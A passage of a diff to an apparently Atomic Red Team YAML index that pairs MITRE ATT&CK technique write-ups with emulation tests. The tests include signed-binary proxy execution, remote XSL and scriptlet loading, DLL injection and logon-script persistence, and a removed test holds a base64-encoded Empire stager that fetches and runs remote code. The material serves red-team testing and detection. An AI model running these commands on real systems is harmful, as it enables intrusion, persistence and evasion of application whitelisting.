command: | + sc.exe create #{service_name} binPath= #{executable_command} + sc.exe start #{service_name} + sc.exe delete #{service_name} + T1218: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Signed Binary Proxy Execution description: |- - Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) + Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques. - Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) + ### Msiexec.exe + Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec) - Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017) + * msiexec.exe /q /i "C:\path\to\file.msi" + * msiexec.exe /q /i http[:]//site[.]com/file.msi + * msiexec.exe /y "C:\path\to\file.dll" - * msxsl.exe customers[.]xml script[.]xsl + ### Mavinject.exe + Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32) - Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. + * "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL> + * C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL> - Command-line examples: (Citation: subTee WMIC XSL APR 2018) + ### SyncAppvPublishingServer.exe + SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer) - * Local File: wmic process list /FORMAT:evil[.]xsl - * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” - id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 - name: XSL Script Processing - created: '2018-10-17T00:14:20.652Z' - x_mitre_version: '1.0' + ### Odbcconf.exe + Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) + + * odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"} + + Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List) x_mitre_remote_support: false + id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4 + modified: '2019-06-24T11:36:15.702Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' type: attack-pattern - x_mitre_permissions_required: - - User - x_mitre_system_requirements: - - Microsoft Core XML Services (MSXML) or access to wmic.exe - identifier: T1220 + x_mitre_detection: Monitor processes and command-line parameters for signed + binaries that may be used to proxy execution of malicious files. Legitimate + programs used in suspicious ways, like msiexec.exe downloading an MSI file + from the internet, may be indicative of an intrusion. Correlate activity with + other suspicious behavior to reduce false positives that may be due to normal + benign use by users and administrators. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Nishan Maharjan, @loki248 + - Hans Christoffer Gaardløs + - Praetorian + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1218 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1218 + - description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019. + source_name: LOLBAS Msiexec + url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/ + - source_name: Rancor Unit42 June 2018 + description: 'Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in + South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July + 2, 2018.' + url: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/ + - description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows + Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. + source_name: TrendMicro Msiexec Feb 2018 + url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ + - description: Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved + April 10, 2018. + source_name: Twitter gN3mes1s Status Update MavInject32 + url: https://twitter.com/gn3mes1s/status/941315826107510784 + - source_name: Twitter monoxgas Status Update SyncAppvPublishingServer + description: Landers, N. (2017, August 8). monoxgas Status Update. Retrieved + April 10, 2018. + url: https://twitter.com/monoxgas/status/895045566090010624 + - source_name: Microsoft odbcconf.exe + description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March + 7, 2019. + url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 + - description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019. + source_name: LOLBAS Odbcconf + url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/ + - description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August + 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. + Retrieved March 7, 2019. + source_name: TrendMicro Squiblydoo Aug 2017 + url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/ + - description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November + 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit + Against Russian Banks. Retrieved March 7, 2019.' + source_name: TrendMicro Cobalt Group Nov 2017 + url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/ + - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + source_name: GitHub Ultimate AppLocker Bypass List + url: https://github.com/api0cradle/UltimateAppLockerByPassList + x_mitre_defense_bypassed: + - Application whitelisting + - Digital Certificate Validation + identifier: T1218 atomic_tests: - - name: MSXSL Bypass using local files - description: 'Executes the code specified within a XSL script tag during XSL - transformation using a local payload. Requires download of MSXSL from Microsoft - at https://www.microsoft.com/en-us/download/details.aspx?id=21714. + - name: mavinject - Inject DLL into running process + description: 'Injects arbitrary DLL into running process specified by process + ID. Requires Windows 10. ' supported_platforms: - windows input_arguments: - xmlfile: - description: Location of the test XML file on the local filesystem. - type: Path - default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml - xslfile: - description: Location of the test XSL script file on the local filesystem. + dll_payload: + description: DLL to inject type: Path - default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl + default: C:\AtomicRedTeam\atomics\T1218\src\x64\T1218.dll + process_id: + description: PID of process receiving injection + type: string + default: 1000 executor: name: command_prompt - command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile} + elevation_required: true + command: 'mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload} ' - - name: MSXSL Bypass using remote files - description: 'Executes the code specified within a XSL script tag during XSL - transformation using a remote payload. Requires download of MSXSL from Microsoft - at https://www.microsoft.com/en-us/download/details.aspx?id=21714. + - name: SyncAppvPublishingServer - Execute arbitrary PowerShell code + description: 'Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. + Requires Windows 10. ' supported_platforms: - windows input_arguments: - xmlfile: - description: Remote location (URL) of the test XML file. - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml - xslfile: - description: Remote location (URL) of the test XSL script file. - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl + powershell_code: + description: PowerShell code to execute + type: string + default: Start-Process calc.exe executor: name: command_prompt - command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile} + command: 'SyncAppvPublishingServer.exe "n; #{powershell_code}" ' - - name: WMIC bypass using local XSL file - description: 'Executes the code specified within a XSL script using a local - payload. + - name: Register-CimProvider - Execute evil dll + description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also + note this dll can be served up via SMB ' supported_platforms: - windows input_arguments: - wmic_command: - description: WMI command to execute using wmic.exe - type: string - default: process list - local_xsl_file: - description: Location of the test XSL script file on the local filesystem. - type: path - default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl + dll_payload: + description: DLL to execute + type: Path + default: C:\AtomicRedTeam\atomics\T1218\src\Win32\T1218-2.dll executor: name: command_prompt - command: 'wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file} + command: "C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path #{dll_payload} + \n" + T1216: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Signed Script Proxy Execution + description: |- + Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. -' - - name: WMIC bypass using remote XSL file - description: 'Executes the code specified within a XSL script using a remote - payload. + PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png + + There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) + x_mitre_remote_support: false + id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe + modified: '2019-06-24T11:33:52.628Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor script processes, such as cscript, and command-line + parameters for scripts like PubPrn.vbs that may be used to proxy execution + of malicious files. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1216 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1216 + - source_name: Enigma0x3 PubPrn Bypass + description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved + April 9, 2018.' + url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ + - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + source_name: GitHub Ultimate AppLocker Bypass List + url: https://github.com/api0cradle/UltimateAppLockerByPassList + x_mitre_defense_bypassed: + - Application whitelisting + - Digital Certificate Validation + identifier: T1216 + atomic_tests: + - name: PubPrn.vbs Signed Script Bypass + description: 'Executes the signed PubPrn.vbs script with options to download + and execute an arbitrary payload. ' supported_platforms: - windows input_arguments: - wmic_command: - description: WMI command to execute using wmic.exe - type: string - default: process list - remote_xsl_file: - description: Remote location of an XSL payload. - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl + remote_payload: + description: A remote payload to execute using PubPrn.vbs. + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct executor: name: command_prompt - command: 'wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file} + elevation_required: false + command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs + localhost "script:#{remote_payload}" ' -lateral-movement: - T1155: + T1153: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1155 - source_name: mitre-attack - external_id: T1155 - - url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ - source_name: Macro Malware Targets Macs - description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. - Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - - API monitoring - - System calls - Process monitoring + - File monitoring - Process command-line parameters - modified: '2019-02-11T15:34:01.392Z' - x_mitre_detection: Monitor for execution of AppleScript through osascript that - may be related to other suspicious behavior occurring on the system. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_permissions_required: + - User + name: Source + description: |- + The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) + + Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand. + x_mitre_remote_support: false + id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0 x_mitre_platforms: + - Linux - macOS - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b - name: AppleScript - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' type: attack-pattern - description: "macOS and OS X applications send AppleEvent messages to each other - for interprocess communications (IPC). These messages can be easily scripted - with AppleScript for local or remote IPC. Osascript executes AppleScript and - any other Open Scripting Architecture (OSA) language scripts. A list of OSA - languages installed on a system can be found by using the osalang - program.\nAppleEvent messages can be sent independently or as part of a script. - These events can locate open windows, send keystrokes, and interact with almost - any open application locally or remotely. \n\nAdversaries can use this to - interact with open SSH connection, move to remote machines, and even present - users with fake dialog boxes. These events cannot start applications remotely - (they can start them locally though), but can interact with applications if - they're already running remotely. Since this is a scripting language, it can - be used to launch more common techniques as well such as a reverse shell via - python (Citation: Macro Malware Targets Macs). Scripts can be run from the - command-line via osascript /path/to/script or osascript - -e \"script here\"." - x_mitre_permissions_required: - - User - identifier: T1155 + x_mitre_detection: Monitor for command shell execution of source and subsequent + processes that are started as a result of being executed by a source command. + Adversaries must also drop a file to disk in order to execute it with source, + and these files can also detected by file monitoring. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1153 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1153 + - description: ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019. + source_name: Source Manual + url: https://ss64.com/bash/source.html + modified: '2019-05-21T13:24:49.196Z' + identifier: T1153 atomic_tests: - - name: AppleScript - description: | - Shell Script with AppleScript - - reference + - name: Execute Script using Source + description: 'Creates a script and executes it using the source command - https://github.com/EmpireProject/Empire +' supported_platforms: - macos + - linux executor: name: sh - command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\" - | python &"" + command: | + sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh" + chmod +x /tmp/art.sh + source /tmp/art.sh + - name: Execute Script using Source Alias + description: 'Creates a script and executes it using the source command''s dot + alias ' - '': - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1072 - source_name: mitre-attack - external_id: T1072 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - File monitoring - - Third-party application logs - - Windows Registry - - Process monitoring - - Process use of network - - Binary file metadata - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: "Detection methods will vary depending on the type of third-party - software or system and how it is typically used. \n\nThe same investigation - process can be applied here as with other potentially malicious activities - where the distribution vector is initially unknown but the resulting activity - follows a discernible pattern. Analyze the process execution trees, historical - activities from the third-party application (such as what types of files are - usually pushed), and the resulting activities or events from the file/binary/script - pushed to systems. \n\nOften these third-party applications will have logs - of their own that can be collected and correlated with other data from the - environment. Audit software deployment logs and look for suspicious or unauthorized - activity. A system not typically used to push software to clients that suddenly - is used for such a task outside of a known admin function may be suspicious.\n\nPerform - application deployment at regular times so that irregular deployment activity - stands out. Monitor process activity that does not correlate to known good - software. Monitor account login activity on the deployment system." - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414 - name: Third-party Software - created: '2017-05-31T21:30:57.201Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: |- - Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code. - - Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. - - The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - atomic_tests: [] - T1037: + supported_platforms: + - macos + - linux + executor: + name: sh + command: | + sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh" + chmod +x /tmp/art.sh + . /tmp/art.sh + T1151: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1037 - source_name: mitre-attack - external_id: T1037 - - url: https://capec.mitre.org/data/definitions/564.html - source_name: capec - external_id: CAPEC-564 - - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx - source_name: TechNet Logon Scripts - description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved - April 27, 2016. - - url: https://support.apple.com/de-at/HT2420 - source_name: creating login hook - description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved - July 17, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Write access to system or domain logon scripts x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor logon scripts for unusual access by abnormal users - or at abnormal times. Look for files added or modified by unusual accounts - outside of normal administration duties. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_permissions_required: + - User + name: Space after Filename + description: "Adversaries can hide a program's true filetype by changing the + extension of a file. With certain file types (specifically this does not work + with .app extensions), appending a space to the end of a filename will change + how the file is processed by the operating system. For example, if there is + a Mach-O executable file called evil.bin, when it is double clicked by a user, + it will launch Terminal.app and execute. If this file is renamed to evil.txt, + then when double clicked by a user, it will launch with the default text editing + application (not executing the binary). However, if the file is renamed to + \"evil.txt \" (note the space at the end), then when double clicked by a user, + the true file type is determined by the OS and handled appropriately and the + binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries + can use this feature to trick users into double clicking benign-looking files + of any format and ultimately executing something malicious." + id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 x_mitre_platforms: + - Linux - macOS - - Windows - kill_chain_phases: - - phase_name: lateral-movement - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 - name: Logon Scripts - created: '2017-05-31T21:30:38.910Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - ### Windows - - Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. - - If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. - - ### Mac - - Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. - identifier: T1037 + x_mitre_detection: It's not common for spaces to be at the end of filenames, + so this is something that can easily be checked with file monitoring. From + the user's perspective though, this is very hard to notice from within the + Finder.app or on the command-line in Terminal.app. Processes executed from + binaries containing non-standard extensions in the filename are suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Erye Hernandez, Palo Alto Networks + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1151 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1151 + - source_name: capec + external_id: CAPEC-649 + url: https://capec.mitre.org/data/definitions/649.html + - source_name: Mac Backdoors are back + description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors + are suddenly back. Retrieved July 8, 2017. + url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ + modified: '2019-06-18T14:05:31.754Z' + identifier: T1151 atomic_tests: - - name: Logon Scripts - description: 'Added Via Reg.exe - -' - supported_platforms: - - windows - input_arguments: - script_command: - description: Command To Execute - type: String - default: cmd.exe /c calc.exe - executor: - name: command_prompt - elevation_required: false - command: 'REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ - /d "#{script_command}" - -' - cleanup_command: 'REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript - /f - -' - - name: Logon Scripts - Mac - description: 'Mac logon script + - name: Space After Filename + description: 'Space After Filename ' supported_platforms: - macos executor: name: manual - steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2. - Populate the plist with the location of your shell script\n\n sudo defaults - write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3. - Create the required plist file in the target user's Preferences directory\n\n\t - \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4. - Populate the plist with the location of your shell script\n\n\t defaults - write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" - T1075: + steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit' + > execute.txt && chmod +x execute.txt\n\n2. mv execute.txt \"execute.txt + \"\n\n3. ./execute.txt\\ \n" + T1154: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1075 - source_name: mitre-attack - external_id: T1075 - - url: https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm - source_name: NSA Spotting - description: National Security Agency/Central Security Service Information - Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows - Event Log Monitoring. Retrieved September 6, 2018. + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Trap + description: 'The trap command allows programs and shells to specify + commands that will be executed upon receiving interrupt signals. A common + situation is a script allowing for graceful termination and handling of common keyboard + interrupts like ctrl+c and ctrl+d. Adversaries can + use this to register code to be executed when the shell encounters specific + interrupts either to gain execution or as a persistence mechanism. Trap commands + are of the following format trap ''command list'' signals where + "command list" will be executed when "signals" are received.(Citation: Trap + Manual)(Citation: Cyberciti Trap Statements)' + x_mitre_remote_support: false + id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 + x_mitre_platforms: + - Linux + - macOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Requires Microsoft Windows as target system - x_mitre_data_sources: - - Authentication logs - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Audit all logon and credential use events and review for - discrepancies. Unusual remote logins that correlate with other suspicious - activity (such as writing and executing binaries) may indicate malicious activity. - NTLM LogonType 3 authentications that are not associated to a domain login - and are not anonymous logins are suspicious. + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Trap commands must be registered for the shell or programs, + so they appear in files. Monitoring files for suspicious or overly broad trap + commands can narrow down suspicious behavior during an investigation. Monitor + for suspicious processes executed through trap interrupts. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + created: '2017-12-14T16:46:06.044Z' kill_chain_phases: - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff - name: Pass the Hash - created: '2017-05-31T21:30:59.339Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Pass the hash (PtH) is a method of authenticating as a user without - having access to the user's cleartext password. This method bypasses standard - authentication steps that require a cleartext password, moving directly into - the portion of the authentication that uses the password hash. In this technique, - valid password hashes for the account being used are captured using a Credential - Access technique. Captured hashes are used with PtH to authenticate as that - user. Once authenticated, PtH may be used to perform actions on local or remote - systems. \n\nWindows 7 and higher with KB2871997 require valid domain user - credentials or RID 500 administrator hashes. (Citation: NSA Spotting)" - x_mitre_contributors: - - Travis Smith, Tripwire - identifier: T1075 + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1154 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1154 + - description: ss64. (n.d.). trap. Retrieved May 21, 2019. + source_name: Trap Manual + url: https://ss64.com/bash/trap.html + - description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, + 2019. + source_name: Cyberciti Trap Statements + url: https://bash.cyberciti.biz/guide/Trap_statement + modified: '2019-05-21T13:46:15.452Z' + identifier: T1154 atomic_tests: - - name: Mimikatz Pass the Hash + - name: 